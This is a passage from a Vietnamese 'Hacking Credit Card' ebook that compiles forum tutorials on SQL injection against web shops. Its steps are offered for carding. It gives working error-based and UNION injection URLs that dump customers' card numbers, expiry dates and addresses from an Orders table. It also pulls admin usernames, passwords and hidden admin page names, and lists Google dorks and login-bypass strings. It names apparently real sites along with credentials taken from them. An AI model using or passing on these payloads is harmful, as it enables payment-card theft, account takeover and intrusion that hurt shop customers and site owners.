Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'BillingAddresses' to a column of data type int.

/store/includes/common.asp, line 2116

Như vậy table thứ hai là BillingAddresses

Lấy tiếp table thứ ba

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('StateTaxes','BillingAddresses')))--sp_password

Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'Categories' to a column of data type int.

/store/includes/common.asp, line 2116

các bạn cứ lấy kết quả của table thứ 3 (chữ màu xanh) thay thế vào sau table 3 là lấy được toàn bộ table của site này

VD:

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('StateTaxes','BillingAddresses','Categories')))--sp_password

-Còn đây là toàn bộ table của site này http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('StateTaxes','BillingAddresses','Categories','Countries','CreditCards','Discounts','dtproperties','Groups','homeblurb','ItemGroups','Items','Manufacturers','Members','OrderItems','OrderItemsShipped','Orders','SavedCart','SavedCartItems','Secure','SessionData','Settings','SettingsFreeShippingCountries'.'ShippingAddresses')))--sp_password

CC thường chứa trong các table Orders hay creditcard, ở đây tôi chọn Orders để hack. Lấy Column đầu tiên

http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')))--sp_password

Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'OrderID' to a column of data type int./store/includes/common.asp, line 2116

Page 55: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'DateCreated' to a column of data type int.

/store/includes/common.asp, line 2116

Ta lần lượt lấy hết coloum của table này, có kết quả như sau:

http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('OrderID','DateCreated','MemberID','ShippingMethod','Company','FirstName','LastName','Address1','Address2','City','State','Zip','ForeignAddress','Country','Phone','Fax','Email','CardName','CardType','CardNumber','ExpirationDate','CardAddress','CardZip','ShippingAddress1','SubTotal','Discount','DiscountDescription','Tax','Shipping','OrderTotal','PONumber','ResaleNumber','Handling','Comments','Referer','StoreName','ShippingCompany','ShippingFirstName','ShippingLastName','ShippingAddress2','ShippingCity','ShippingState','ShippingZip','ShippingForeignAddress','ShippingCountry','ShippingPhone','ShippingFax','CardVerification','CardVerificationNone','CardVerificationRead','PhoneOrder','FREEShippingMethod')))--sp_password

Ta lấy thông tin của coloum này

Các coloum quan trọng thường là First/Last name/Address1/city/state/zip/Country/phone/fax/email/cardname/cardtype/Cardnumber/ExpirationDate/CNV2 (tuy nhiên site này o có cnv2) ->nhiêu đó chắc cũng đủ rồi nhỉ?

Theo đường link này sẽ có cc

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%20CardName%2b'/'%2bAddress1%2b'/'%2bCity%2b'/'%2bState%2b'/'%2bZip%2b'/'%2bPhone%2b'/'%2bCountry%2b'/'%2bCardNumber%2b'/'%2bExpirationDate%20from%20Orders))--sp_password

các bạn cần thông tin gì thì cứ chèn /'%2b******%2b'/ vào

tìm được cc đầu tiên,các bạn dùng link này để lấy cc thứ 2 và tiếp tục

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=(select%20top%201%20CardName%2b%27/%27%2bAddress1%2b%27/%27%2bCity%2b%27/%27%2bState%2b%27/%27%2bZip%2b%27/%27%2bPhone%2b%27/%27%2bCountry%2b%27/%27%2bCardNumber%2b%27/%27%2bExpirationDate%20from%20Orders%20where%20CardNumber%20not%20in('XXXXXXXXXXXXXXX')%20)

Llấy được cc thứ 2 thì lấy số number của card đó thêm vào sau link trên chỗ 'XXXXXXXXXXXXXXXX'

Page 56: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL BY SEAMOUNTôi thấy các bạn quan tâm nhiều đến hack shop VPASP, nên tôi viết một bài để các tham khảo, mặc dù cũ nhưng tôithấy cũng còn nhiều Web bị lỗi này.VPASP khỏi cần nói các bạn cũng biết đó là Shopping Cart. Phiên bản bị lỗi SQL - Injection là 4.5 và 5.0 còn nhữngphiên bản mới thì tôi không có source để

xem nó còn lỗi gì hay không ?

Vì VPASP thường sử dụng cơ sở dữ liệu MS Access cho nên việc ngắt lệnh như SQL - Server là không thể cho nên chỉcòn một cách là hợp lệnh SQL để lấy

kết quả. Thực hiện các bước sau:

Bước 1: Vào Google.com, tìm cụm từ sau: allinurl: shopdisplaycategories.asp. Bạn sẽ thấy ra cả đống site. Kiểm tralink xem có bị lỗi SQL - Injection hay

không ?

Bước 2:Đối với phiên bản VPASP 4.5 thì lỗi tại file shopdisplaycategories.asp và shopdisplayproducts.asp. Ở phiên bảnVPASP 5.0 thì đã sửa lỗi hai file trên nhưng

còn một chỗ vẫn bị lỗi là file shopexd.asp

Ví dụ site sau:http://www.hopscotchdressingup.co.uk/store/shopdisplayproducts.asp?id=8'&cat=Halloween.

Mặc dù ta đã thêm ' ở tại shopdisplayproducts.asp?id=8' nhưng vẫn không bị lỗi. Ta thử tiếp file link sau :http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149'. Nó xuất hiện lỗi

HTTP 500 - Internal server errorInternet Explorer

Bước 3:Ta thực hiện gộp lệnh để lấy giá trị username và password như sau:Link ban đầu :http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149Link gộp truy vấn : http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode,fldusername%2b'/'% 2bfldpassword,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3,billprice,billinstallments,billinstallmenttype,billinterval,maximumquantity,frontpage from products,tbluser where catalogid=149.Các bạn sẽ hỏi là cái đống hỗn độn ở link trên lấy ở đâu ra?Hì hì chỉ đọc source VPASP mới biết nó gồm những trườngnào trong bản product rồi từ đó gộp

Page 57: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

lệnh cho đủ các trường và thay thế trường tên của sản phầm bằng trường username và password. Sở dĩ ta phải choid=-1 để ngắt lệnh SQL thứ nhất khi

hợp nhất thì nó sẽ thực hiện lệnh SQL thứ hai.

Sau khi hợp SQL ta sẽ có kết quả user và password là "Sy87XXXXX/gL37ytXXXXX" là hai giá trị được thay thế tạitên của sản phẩm.

Như vậy ta đã có user và password của admin rồi. Mừng quá login vào shopadmin.asp thôi !. Thông thường thì tên fileAdmin ControlPanel là

shopadmin.asp nếu như nó chưa đổi.

Bước 4: Ta truy cập vào http://www.hopscotchdressingup.co.uk/store/shopadmin.asp thử xem thế nào? Chà ! file nóđổi tên mất rồi. Làm sao đây ? Tiếp tục gộp lệnh để lấy tên file đã thay đổi thôi !

Cũng với link http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149 ta gộp lệnh như sau để lấy tên filetruy cập vào Admin Control Panel.http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode,fieldvalue,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3,billprice,billinstallments,billinstallmenttype,billinterval,maximumquantity,frontpage from products,configuration where fieldname='xadminpage' and catalogid=149

Sau khi thực hiện ta đã có tên file truy cập vào Admin Control Panel là hopoff.asp

Như vậy ta có thể truy cập đến file Admin. http://www.hopscotchdressingup.co.uk/store/hopoff.asp.Lưu ý: Khi truy cập vào Admin Control Panel nếu gặp hai trường nhập password thì : một là ngồi thử hai là đi kiếmcái khác. Vì password thứ 2 là một hằng nên không thể dùng cách hợp lệnh để lấy được. Muốn lấy chắc viết email đếnadmin hỏi thử password thứ hai là gì, tôi đã có password thứ nhất của you rôi !!! Hi hi hi Đối với phiên bản VPASP 4.5 thì cũng làm tương tự như trên chỉ khác là ở chỗ gộp lệnh lấy username, password vàtên file truy cập vào Admin Control

Panel

Ví dụ : http://<site bị lỗi>/shopdisplaycategories.asp?id=1 chẳng hạn. Thì lệnh gộp lấy username, password và tên fileadmin như sau

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 union select catalogid,ccode,fldusername%2b':'% 2bfldpassword,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3 from products,tbluser where 1=1 or 1=1

Page 58: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 union select catalogid,ccode,fieldvalue,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3 from products,tbluser,configurationwhere fieldname='xadminpage'

Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễ để khai thác như sau

http://<site bị lỗi>/shopdisplaycategories.asp?id=1

and%201=convert(int,(select%20top%201%20fldusername%2b'/'%2bfldpassword%20from%20tbluser))--sp_password

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 and%201=convert(int,(select top 1 fieldvalue from configurationwhere

fieldname='xadminpage'))--sp_password

PS: Mấy you thực hành thì đừng có file site của họ nha !

Page 59: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL BY GAMMA95Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản trị CSDL nó xài Access là “Tại saolúc thì dùng Union exploit được nhưng lúc thì lại là 1 cái error khó chịu tương tự thế này

Error Type:Microsoft JET Database Engine (0x80004005)Syntax error in FROM clause. “

bắn ra ??và liệu có thể có các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua Access kocó kí tự comment kiểu như ‘—‘ như trong MSSQL ,nếu có thì ko còn gì để nói …mình thì chỉ có vài kinh nghiệm sơsơ về vụ này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các banDo rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cáihost tạm để testOk …linktesthttp://b.domaindlx.com/philips/asp/shopadmin.asp

code verify user+pass trong file shopadmin.asp làusername=request("Username")userpassword=request("password")if ucase(Username)<>"SUPPLIER" thensql = "select * from tbluser where fldusername='" & username & "' and fldpassword='" & userpassword & "'"//hì,thực tế mình đã del 2 dòng code[QUOTE]username=replace(username,"'","")userpassword=replace(userpassword,"'","")[/QUOTE]lọc dấu nháy đơn nên hiện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by pass tại cái form nàynếu bạn insert[QUOTE]username:’ or ‘’=’password:anything[/QUOTE]thì ko được,nhưng nếu các bạn bypass như thế này[QUOTE]username:anythingpassword:’ or ‘’=’[/QUOTE]thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trường hợp 1 thì đọan query get từ form sẽ là

sql = "select * from tbluser where fldusername=’’ or ‘’=’’ and fldpassword=’anything’[/QUOTE]do thứ tự ưu tiên của phép tóan nên phép tóan and sẽ được ưu tiên trước phép or vì thếthì vế ‘’=’’ and fldpassword=’anything’ sẽ được thực thi trước và có chân trị là false(do ‘’=’’ true but fldpassword=’anything’ false à qua phép and sẽ là false ) sau đó được or với query còn lại làfldusername=’’ or false là false (do cái fldusername=’’ là false nên or 2 vế false ra false )-->ko bypass đượccòn trường hợp 2[QUOTE]sql = "select * from tbluser where fldusername=’anything’ and fldpassword=’’ or ‘’=’’[/QUOTE]do thứ tự ưu tiên của phép tóan phép tóan and sẽ được ưu tiên trước phép or vì thếvế fldusername=’anything’ and fldpassword=’’ sẽ thực thi trước và sẽ có giá trị false (do fldusername=’anything’ làfalse và fldpassword=’’ cũng false nốt,nhưng sau đó nó lại được or ‘’=’’ (‘’=’’ luôn đúng ) nên chân trị nguyên querynày là true --> by pass…phù vì thế trước giờ các bác đi by pass tòan là username :’ or ‘’=’password :’ or ‘’=’cho chắc cú phảI ko nhể ??..hehe ,những cái em nói trên cho các bác hiểu sâu sâu về by pass chút thôiThôi,nãy giờ lan man wá,ko đi vào chủ đề chính

Page 60: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

ok…bi giờ các bác inject nháy đơn để xem lạI chính xác nó có bị sql ij hay ko ,sau khi ij và submit thì nó ra cái nàyError Type:[QUOTE]Microsoft JET Database Engine (0x80040E14)Syntax error in string in query expression 'fldusername=''' and fldpassword='''.[/QUOTE]/asp/shopadmin.asp, line 34Ok,trường hợp là các form login thì chúng ta rất dễ biết được tên column do error bắn ra (các trường hợp khác trênURL thì thường là ọc ra những column ko mong đơi chút nào )Ok,giả sử chúng ta biết là table chứa 2 column fldusername,fldpassword là tbluser,okay,union xem sao[QUOTE]Username :’ union select 1,1…1 from tbluserPassword :anything[/QUOTE]Và nó ọc ra cái này đây[QUOTE]Error Type:Microsoft JET Database Engine (0x80004005)Syntax error in FROM clause./asp/shopadmin.asp, line 34[/QUOTE]TạI sao vậy ?câu query get được từ form làsql = "select * from tbluser where fldusername=’’ union select 1,1.. from tbluser' and fldpassword=’anything’bạn để ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code chuẩn nó thêm vào nên câu querythật là vô nghĩa ,họặc nếu có thêm ‘and 1=2 union select …đi chăng nữa thì cũng vô nghĩa nên nó mớI bắn ra cái thôngbáo[QUOTE]Syntax error in FROM clause.[/QUOTE]Ok…vậy thì chúng ta sẽ khắc phục như sauUsername :’ union select 1 from tbluser where ‘1’=’1Password:anythingMục đích thêm cái where ‘1’=’1 như vậy để cái dấu nháy của query tự động thêm nốt dấu nháy còn lạI vào where‘1’=’1’ --> hòan tòan hợp lý phảI ko nào ??Và query lúc này như sau:[QUOTE]sql = "select * from tbluser where fldusername=’’ union select 1 from tbluser where ‘1’=’1’ andfldpassword='anything’[/QUOTE] hì,1 cái error quen thuộc bắn ra[QUOTE]Microsoft JET Database Engine (0x80040E14)The number of columns in the two selected tables or queries of a union query do not match.[/QUOTE]Phần còn lại rất dễ,chắc các bác biết hết rồi nên ko nói ở đâyXong …nhưng chỉ là xong khi chúng ta khắc phục điều này khi exploit SQL ij trên các form login mà thôi ,còn trêncác URL thì sao ,có gì khác so với exploit trên form ?? hẹn các bạn bài sau trong thờI gian tới (bây giờ bận thi học kì)MọI Feedback xin post lên 4rum,xin đừng PM,mail v..v

Page 61: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL HACK CFM FROM HCVThường thì các bạn chỉ search site dính sql injection và site đó xài ASP đúng không ... vậy sao ko search những sitedùng cfm nhỉ. Hum nay lướt chơi thấy có site bị lỗi nên đánh bạo post bài cho anh em đọc có câu cú gì sai sót về kĩthuật xin anh em lượng thứ Tui là newbie mờ ...

Lên google gõ từ khóa : allinurl:"affiliate-agreement.cfm?storeid"Và kết quả cho ta vài trang ... okie chọn đại 1 trang coi tui chọn thằng này :QUOTEhttp://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=

Thêm dấu ' vào xem ...

QUOTEhttp://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid='

QUOTEError Executing Database Query.[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Line 3:Incorrect syntax near ''.

The error occurred in E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23Called from E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23

2 : SELECT *3 : FROM config4 : WHERE ID=#storeid#5 : </CFQUERY> Chậc sao nhòm cái error wen wá dzậy trời ... Giờ ta thử 1 chút xem saoQUOTEhttp://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--sp_password

Ặc ... xem cái gì hiện ra nè mấy bồ

QUOTEError Executing Database Query.[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Syntaxerror converting the nvarchar value 'administration' to a column of data type int. Hay quá ta mới test đã ra cái mình cần rùi nè ... Lấy username và pass thui hihi à quên ... với thằng này bạn không thểlấy cùng lúc cả username và pass được mà bạn phải lấy từng thằng một ... Không hiểu sao ... Kệ ... Có còn hơn khôngnhaQUOTE[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%20username from administration]http://www.channel69shopping.com/store/aff...%201%20username[/url] fromadministration

Page 62: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Username là Administrator

Rùi pass nữa nhaQUOTE[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%20password from administration]http://www.channel69shopping.com/store/aff...%201%20password[/url] fromadministration

Hehe pass nè : cartease

Login đi thôi

http://www.channel69shopping.com/store/adminĐã check thành công post cho các bác newbie như destroyer thực hành

hope success

Page 63: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛTrong bai viêt nay, tôi se co kem theo qua trinh inject môt website va ly thuyêt cơ ban vê SQL injection đê cac ban cothê hiêu ro hơn. Nhưng co le la chi cho newbie thôi, khi nao rôi tôi se viêt va hương dân advance sql injection, tâtnhiên co kem theo môt site đê cac ban thưc hanh.

Chung ta hay băt đâu :

Sql injection đang dân phô biên hiên nay, va co le lôi nhiêu nhât vân la ơ cac site MS SQl. No rât nguy hiêm, no chophep chung ta login mà không cần username và password, remote execution, dump data va truy xuât username +password ra ngoai băng cach input cac query/command vào input trước khi chuyển cho ứng dụng web xử lí. Đê thưxem site đo co bi lôi hay không, ban thư input vao cac field username va pass băng :

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

'or''='

va con rât nhiêu nưa tôi không tiên viêt ơ đây. Rât co thê ban se login đươc vao vơi quyên admin hoăc môt user naođo. Nhưng ơ bai viêt nay tôi noi đên cach truy xuât username va password ra ngoai đê chung ta măc nhiên vao trongCP. Ơ đây, tôi se lây ra môt site bât ky, nhưng khi ban muôn tân công môt trang nao đo thi lai khac, ban phai bo công ratim link nhiêm.

Muc tiêu tân công :http://www.naame.com/manageAccount/manaccount516.asp

Bây giơ đê xac đinh xem co bi SQL injection không, ban thư input cac lênh tôi liêt kê ơ trên, không by pass login đươcban input thư dâu ngoăc đơn '

Page 64: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

kêt qua :

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string '''.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

thê la biêt muc tiêu bi lôi rôi nhe, bây giơ viêc cân lam la lây đươc ra cac table name cua no, dung : 'having 1=1-- .Banhay đê y thây dâu --, vâng trong MS SQL, tât ca cac thư sau -- se bi loai bo.

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and thereis no GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Ok rôi : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate functionand there is no GROUP BY clause.

Vây la ta lây đươc 1 table rôi đo. Bươc tiêp theo :

'GROUP BY LoginTable.Account having 1=1--No bao :

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate functionor the GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Lai lây đươc thêm môt côt nưa rôi. Ban thay vao : (thêm 1 côt va ngăn cach băng dâu phây)

'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1--

Ban cư lam thê đê lây cac table cua no. Tôi đa lây săn ra cho cac ban :

'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTable.DomainName, LoginTable.Credits, LoginTable.LoginType having 1=1-- Lây đươc cac table rôi thi lam gi? Cac cac ban nhin vao côt "username" va "password" la them lăm rôi, muôn lây rangay, hic, nhưng phai tư tư đa, đi đâu ma vôi. Co đươc no rôi, ta thư tim môt link bi lôi (tim no trên thanh address băngcach thêm ' vao sau = hoăc =cai gi đo'). Nhưng ma ơ trang nay no không co môt link nao dinh lôi, thi ta lai dưa vao caiforum input vây.

Page 65: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Ta thư nhe : (input vao field username va password rôi submit thư).

'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'--

hi, chăc cac ban se hoi mây cai thăng 1,1,1,1,1 la gi sao lai đăt ơ đo, noi nôm na va dê hiêu cho newbie luôn la cac banđêm xem co bao nhiêu côt ngoai trư côt Username va thay cho môi côt đo la 1 . thê thôi. Con thăng UserName > 'h' a,no se "xuât" ra môt username bât ky băt đâu băng letter 'h' .

No bao :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'h20h20' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Cươi tươi xem nao, co 1 thăng username lam canh rôi nhe. Muôn biêt password cua nao thi lam như sau :

'union select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'--

Ta thay sau UserName la dâu = 'username vưa lây đươc'--

No bao :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'legogame' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33 Hi, password la legogame kia, ban login đi, con chơ gi nưa.

* Note :

Nêu ban muôn lây thêm nhiêu username khac thi :

'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'--

no se lây ra môt username khac. Nêu ban muôn username băt đâu băng B chăng han, thi thay băng 'b'-- thê thôi.

trong trương hơp ban muôn tân login vao môt domain nao đo đinh trươc thi thay côt DomainName vao côt UserName.Vi du , tôi ghet thăng maika, no co cai domain la H0MES4RENT.com mua ơ đo thi tôi muôn biêt password cua no tadung :

'union select password,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'-- No bao :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Page 66: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Hi password la joepinguelo rôi nhe, lai lây username cua no đi :'union select UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--

Kêt qua :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Va Username la joepinguelo

Login thư xem, Username : joepinguelo

Password : joepinguelo